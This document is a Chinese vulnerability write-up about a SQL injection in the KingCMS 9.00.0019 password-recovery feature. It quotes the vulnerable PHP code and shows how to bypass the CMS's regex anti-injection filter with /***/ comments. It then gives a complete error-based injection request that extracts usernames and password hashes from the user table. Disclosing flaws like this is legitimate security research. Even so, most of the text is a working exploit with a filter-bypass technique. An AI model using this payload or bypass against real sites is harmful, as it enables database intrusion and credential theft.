kingcms一直在修复更新,经过了9.00.0015,9.00.0016,9.00.0017,现在更新到了9.00.0018。9.00.0018的更新时间是2015.07.23,见官网http://www.kingcms.com/download/k9/。虽然官网下载的是9.00.0018,但是安装完成后,可以在后台在线升级,升级成最新版9.00.0019,最新版的cms就存在这个漏洞,这是新版本新增功能带来的漏洞。 另:由于kingcms使用的是云后台,安装过程与一般的cms有点不同,复现时安装请参考官方:http://www.focuznet.com/k9/t3012/ (特别是安装的后面部分操作) 注入点在找回密码的地方,两个参数存在注入:username和email。 注入点: /user/manage.php 以注入参数username为例进行证明
/** * 找回密码 */ function _findpass(){ $username=kc_post('username'); $email=kc_post('email'); if(empty($username)) kc_tip('请填写用户名!','form'); if(empty($email)) kc_tip('请填写注册时的邮箱!','form'); $checkcode=new checkcode;$checkcode->check();//这里是测试验证码的,为了方便测试,可以先把这里注入掉。 $db=new db; $rs=$db->getRows_one('%s_user','userid,username,email,salt',"username='$username' AND email='$email'"); if(empty($rs)) kc_tip('您填写的用户名与电子邮件地址不匹配,请重新输入!','form'); $code = md5($rs['userid'] . $rs['email'] . $rs['salt']); $reset_email = FULLURL . '?user-findpass&userid=' . $rs['userid'] . '&code=' . $code; $user_name = $rs['username']; $site_name = kc_config('site.name'); $send_date = date('Y-m-d', time()); $mail_queue = new mail_queue; $mail_info = $mail_queue->get_mail_template('send_password'); if(!$mail_info){ $errstr = $mail_queue->show_errstr(); kc_tip($errstr,'form'); } $content = $mail_info['content']; eval("\$content = \"$content\";"); //发送邮件的函数 if ($mail_queue->send_mail('', $rs['email'], $mail_info['tpltitle'], $content, $mail_info['tpltype'])){ kc_tip('重置密码的邮件已经发到您的邮箱!','ok','refresh'); }else{ //发送邮件出错 kc_tip('发送邮件出错,请与管理员联系!','form'); } }
首先通过$username=kc_post('username');获得username,验证了是否为空,然后通过带入了这个语句:$rs=$db->getRows_one('%s_user','userid,username,email,salt',"username='$username' AND email='$email'"); 我们去看看$db->getRows_one
/** * 读取单行数据 * @param string $table 表 * @param string $insql 调用的代码 * @param string $where 条件 * @return array 一维数组 */ public function getRows_one($table,$insql='*',$where=null,$orderby=null) { $table=str_replace('%s',DB_PRE,$table); $sql="SELECT $insql FROM $table "; $sql.=empty($where) ? '' : ' WHERE '.$where; $sql.=empty($orderby) ? '' : ' ORDER BY '.$orderby; return $this->get_one($sql); }
再跟进$this->get_one($sql);再跟进$this->query($sql);如下:
/** * 查询 * @param string $sql 查询语句 * @return object */ public function query($sql) { if(!$this->safecheck($sql)){ if(AJAX){ $tip='数据查询错误:'.$sql.'\n'; }else{ $tip='<strong style="color:#C00;display:block;line-height:50px;font-size:20px;">数据查询错误:'.$sql.'</strong>'; } kc_tip($tip,'form'); } if(!isset($this->link)) { $this->connect();//判断数据库连接是否可用 } @mysql_query('set names '.DB_CHARSET);//设置字符集 $this->query_ID = @mysql_query($sql); //错误反馈 $errid=mysql_errno(); if(!empty($errid) && $this->debug==true){ echo('<strong style="color:#C00;display:block;line-height:50px;font-size:20px;">'.$errid.') 数据查询错误:'.mysql_error().'</strong><p>'.$sql.'</p>'); } return $this->query_ID; }
这里使用了kingcms的防注过滤方法$this->safecheck($sql),我们重点来研究一下是如何过滤的,又是如何绕过的。
/** * 参考Discuz!及阿里云 云体检通用漏洞防护补丁 */ public function safecheck($sql){ $checkcmd = array('SEL', 'UPD', 'INS', 'REP', 'DEL'); $cmd = strtoupper(substr(trim($sql), 0, 3)); if (!in_array($cmd, $checkcmd)) { return TRUE; } $disablesql = '((load_file|hex|substring|if|ord|char)\()|(intooutfile|intodumpfile|unionselect|\(select|unionall|uniondistinct|uniondistinct)'; if (preg_match("/" . $disablesql . "/is", str_replace('/**/', '', $sql)) == 1) { return FALSE; } return TRUE; } } //!DB_CLASS
通过分析代码我们有了以下基本想法: 1、当str_replace把/**/过滤掉以后的语句,不能与$disablesql 正则匹配 2、构造的sql语句能被符合sql的语法规则。 最开始想使用/*/**/*/,当str_replace把中间的/**/去掉以后,正好剩下/**/,这样可以组成类似于(/**/select......这样的语句,不会被\(select|的正则匹配,但是/*/**/*/是错误的sql注释方法,sql语法有错误,因此不能绕过。 然后又想到使用/***/,str_replace('/**/', '', $sql)对/***/无效,而/***/在sql语句中与/**/作用相同,可以起到一个空格的作用,不影响sql语句的正常执行。成功绕过。 这里我们使用报错注入,因此Payload如下:
GET /user/manage.php?jsoncallback=1&_=1&CMD=findpass&AJAX=1&HTTP_REFERER=&ISCONFIRM=1&checkcode_answer=3564&username=0'/***/UNION/***/SELECT/***/1/***/FROM(/***/SELECT/***/COUNT(*),CONCAT(0x23,(/***/SELECT/***/concat(username,0x23,userpass)FROM/***/king_user/***/LIMIT/***/0,1),0x23,FLOOR(RAND(0)*2))x/***/FROM/***/INFORMATION_SCHEMA.tables/***/GROUP/***/BY/***/x)a%23&email=test&checkcode_id=1&checkcode_answer=43 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh,zh-CN;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: Connection: keep-alive
注入,在测试时,找回密码需要填写验证码,为了直接使用上面的payload 进行测试,可以把/user/manage.php中验证码较检的地方先注释掉,如下图中的最后一行。
注入成功: